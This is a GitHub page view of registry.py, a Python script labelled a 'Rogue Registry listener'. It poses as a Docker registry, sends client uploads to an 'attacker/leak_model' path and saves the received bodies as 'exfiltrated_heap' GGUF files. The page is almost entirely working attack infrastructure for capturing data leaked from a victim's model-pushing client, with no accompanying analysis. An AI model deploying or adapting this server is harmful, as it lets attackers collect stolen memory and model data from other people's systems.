-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathregistry.py
More file actions
113 lines (95 loc) · 4.2 KB
/
Copy pathregistry.py
File metadata and controls
113 lines (95 loc) · 4.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python3
import socket
import threading
import time
import os
os.makedirs("exfils", exist_ok=True)
def handle_client(client_socket):
try:
# 3-second timeout ensures we slurp all data without hanging indefinitely
client_socket.settimeout(3.0)
request = b""
while b"\r\n\r\n" not in request:
try:
req_chunk = client_socket.recv(4096)
if not req_chunk:
break
request += req_chunk
except socket.timeout:
break
if not request:
return
headers_part = request.split(b"\r\n\r\n")[0]
headers = headers_part.decode('utf-8', errors='ignore')
method_line = headers.split('\r\n')[0]
print(f"[*] Received request: {method_line}")
# CRITICAL FIX: Handle Go's Expect: 100-continue requirement
if "expect: 100-continue" in headers.lower():
client_socket.send(b"HTTP/1.1 100 Continue\r\n\r\n")
if "HEAD" in method_line and "/blobs/" in method_line:
response = b"HTTP/1.1 404 Not Found\r\n"
response += b"Content-Length: 0\r\n"
response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
client_socket.send(response)
elif "POST" in method_line and "/blobs/uploads/" in method_line:
host_header = ""
for line in headers.split('\r\n'):
if line.lower().startswith('host:'):
host_header = line.split(':', 1)[1].strip()
break
response = b"HTTP/1.1 202 Accepted\r\n"
response += b"Content-Length: 0\r\n"
response += b"Docker-Distribution-Api-Version: registry/2.0\r\n"
# Force the Location header to match ngrok's schema
if host_header:
response += f"Location: https://{host_header}/v2/attacker/leak_model/blobs/uploads/1234-5678\r\n".encode()
else:
response += b"Location: /v2/attacker/leak_model/blobs/uploads/1234-5678\r\n"
response += b"\r\n"
client_socket.send(response)
elif "PATCH" in method_line or "PUT" in method_line:
print(f"[+] {method_line.split()[0]} request received! Slurping payload via socket timeout...")
body = request[len(headers_part)+4:]
while True:
try:
chunk = client_socket.recv(8192)
if not chunk:
break
body += chunk
except socket.timeout:
# Timeout reached, assume stream is complete
break
# Acknowledge upload completion only AFTER reading the stream
response = b"HTTP/1.1 201 Created\r\n"
response += b"Content-Length: 0\r\n"
response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
client_socket.send(response)
filename = f"exfils/exfiltrated_heap_{int(time.time()*1000)}.gguf"
if len(body) > 0:
print(f"[+] Successfully captured {len(body)} bytes! Saving to '{filename}'")
with open(filename, "wb") as f:
f.write(body)
else:
print("[-] Ignored 0 byte payload.")
else:
# Catch-all for standard registry endpoints
response = b"HTTP/1.1 200 OK\r\n"
response += b"Content-Length: 0\r\n"
response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
client_socket.send(response)
except Exception as e:
print(f"[-] Socket error: {e}")
finally:
client_socket.close()
def start_server(port=80):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("0.0.0.0", port))
server.listen(5)
print(f"[*] Rogue Registry listener started on 0.0.0.0:{port}")
while True:
client, addr = server.accept()
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
if __name__ == "__main__":
start_server(80)